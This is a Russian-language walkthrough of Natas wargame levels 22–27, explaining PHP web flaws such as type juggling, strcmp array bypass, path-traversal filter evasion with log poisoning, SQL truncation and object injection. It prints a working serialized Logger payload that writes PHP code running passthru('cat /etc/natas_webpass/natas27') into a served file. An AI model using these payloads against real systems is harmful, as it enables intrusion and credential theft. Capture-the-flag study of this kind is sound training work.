![image](https://habrastorage.org/webt/_-/zf/_u/_-zf_uvvs6ypsybfrqslsnqwx8k.png)
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Прошлые части: часть 1, часть 2 и часть 3.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
level 22
После анализа исходного кода становится ясно, что мы увидим пароль, если GET-параметр revelio будет непустой.
![image](https://habrastorage.org/webt/qt/h2/7d/qth27dcdtjul75hszlw2cvcyzsg.png)
Но при первой проверке, если сессия админа не установлена, нас переадресуют на эту сраницу без параметров.
![image](https://habrastorage.org/webt/5r/u3/0h/5ru30hiuygieq26yxphung51ulm.png)
Нужно просто воспользоваться web-агентом не браузером, к примеру curl.
![image](https://habrastorage.org/webt/et/fm/6o/etfm6oitmynlnoijxpllonqov4u.png)
![image](https://habrastorage.org/webt/d5/tz/p0/d5tzp0aslqz9xhuweeitrt-e3tk.png)
Забираем пароль.
level 23
Анализируем исходный код. Функция strstr(s1, s2) возвращает подстроку из s1, которая начинается с s2. Так же php автоматически приводит типы. То есть при сравнении она приведет строку в число и отбросит лишние символы.
![image](https://habrastorage.org/webt/gj/yq/4j/gjyq4jlb7vmcj1oxrxwpwk6tc3s.png)
Под наше условие подойдет строка «11iloveyou». При первой проверки вернет «iloveyou», т. е. True. При второй проверке 11>10, т. е. True.
![image](https://habrastorage.org/webt/e_/j1/jo/e_j1jo7sj3k6nblm-prlhwzrlig.png)
level 24
Этот уровень тоже содержит логическую ошибку. Условие проходит в любом случае, если strcmp вернет FALSE. Но strcmp вернет FALSE даже в случае ошибки.
![image](https://habrastorage.org/webt/dl/en/md/dlenmdk6mgztpnckq_uy_89ks90.png)
Хоть php и приводит типы автоматически, но привести массив к строке не в состоянии. Для этого нужно открыть исходный код страницы и изменить имя поля с «passwd» на «passwd[]».
![image](https://habrastorage.org/webt/l3/gg/e0/l3gge0cb1bsjagoz59mc9rkrhbi.png)
Отправляем любую строку.
![image](https://habrastorage.org/webt/pu/yd/py/puydpyhz83who8ph9cynamtt_qm.png)
Забираем пароль.
level 25
Наибольший интерес при анализе исходного кода вызывает функция logRequest(), в ней обрабатываются поля, которые может контролировать пользователь. Это HTTP-заголовок User_Agent и cookie session_id.
![image](https://habrastorage.org/webt/5w/lr/cs/5wlrcsv-hltqircjccutifmbzfs.png)
![image](https://habrastorage.org/webt/z9/gj/wc/z9gjwc_ttjkrp6xtawcgbdgtw0m.png)
![image](https://habrastorage.org/webt/hp/u6/sq/hpu6sqmspwgypwixjz5vzzyappw.png)
Стоит учесть, что из строки удаляются все последовательности «../», но это обходиться путем: «..././» => «../».
Идея решения: Так как путь для записи логов зависит от session_id, который мы можем конролировать, а за счет выбора языка отоброжения выбирается путь на сервере – за счет LFI мы сможем прочитать файл логов.
![image](https://habrastorage.org/webt/lk/dr/te/lkdrtevuv7sbaeelyf1vstsagiq.png)
![image](https://habrastorage.org/webt/bu/cx/pb/bucxpbzzxagwpkvvnamvk_sap_g.png)
![image](https://habrastorage.org/webt/8y/dr/u5/8ydru5lvj9cunuxuge0jmz9zpv8.png)
![image](https://habrastorage.org/webt/zm/be/qk/zmbeqk2m5ssbh9rljmlyzr7zjo8.png)
Теперь осталось записать пароль из /etc/natas_webpass/natas26 в наш файл логов. Так как сначала записывается, а потом выводится из файла наш Web-Agent, то допишем в это поле php код.
![image](https://habrastorage.org/webt/bp/um/qy/bpumqyyp-jptpd5aqnbv2sooizs.png)
![image](https://habrastorage.org/webt/cy/ce/a4/cycea4udcst1dildxt50psa9lg4.png)
Получаем пароль.
level 26
В данном примере присутствует очень серьезная уязвиммость – нефильтрованная дессериализация обьектов. Функция unserialize() принимает одну сериализованную переменную и конвертирует её обратно в РНР-объект.
![image](https://habrastorage.org/webt/45/aq/2t/45aq2tsecnjzewtlbpybi--vcca.png)
Возвращается конвертированное значение, которое может быть integer, float, string, array или object. Т.е. Можно выполнить любой код. Класс Logger при создании записывает в файл определенную информацию.
![image](https://habrastorage.org/webt/6r/bb/or/6rbborrkvdmwnvhdrywxmrhe0yo.png)
Идея следующая:
- Переписать класс Logger, где вместо одного из сообщений будет содержаться php-код, который будет выводить пароль.
- Закодировать его в Base64.
- Вставить в cookie.
- Обратиться к файлу с логом.
- Забрать пароль.
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
$this->initMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>";
$this->exitMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>";
$this->logFile = "img/phpobjinj.php";
}
function log($msg){
;
}
function __destruct(){
;
}
}
$obj = new Logger("obj");
echo urlencode(base64_encode(serialize($obj)));
?>
![image](https://habrastorage.org/webt/_m/ew/2n/_mew2nh3ozpfmk5cnjxltfn8gvk.png)
![image](https://habrastorage.org/webt/xh/fc/ms/xhfcmsciwcv2bsirfgm-mol0-re.png)
![image](https://habrastorage.org/webt/mr/w2/qe/mrw2qegouxyawwhdfme9cgzwhcs.png)
Получаем пароль.
level 27
Данный сервис предоставляет данные пользователей. Но если пользователя не существует, он создает его с указанными логином и паролем.
![image](https://habrastorage.org/webt/qy/w1/nt/qyw1nthdmxbnzi4bnrshl-4rtki.png)
Проблема в том, что после создания пользователя, сервис не проверяет его пароль при входе. При этом в базу даныых попадают лишь 64 первых символа логина и пароля после фильтрации. Мало того мы знаем имя пользователя: natas28.
![image](https://habrastorage.org/webt/k1/ie/6e/k1ie6ecolxgi9hamjihcaxy7vkg.png)
Создаем пользователя с пустым паролем и именем: «natas28_60-пробелов_любой-символ». (Так при проверке не будет совпадения с пользователем natas28, а при создании будет отфильтрован и добавлен в базу. То есть при следующем заходе не будет проверяться пароль).
![image](https://habrastorage.org/webt/me/nv/aj/menvaj0iqxtzablifx2w2ozfddw.png)
![image](https://habrastorage.org/webt/kf/hf/xg/kfhfxgjx3vpuz7gdvyfc2ncxrge.png)
Заходим под именем natas28 и пустым паролем. Получаем данные пользователя natas28.
Продолжение следует. Вы можете присоединиться к нам в Telegram.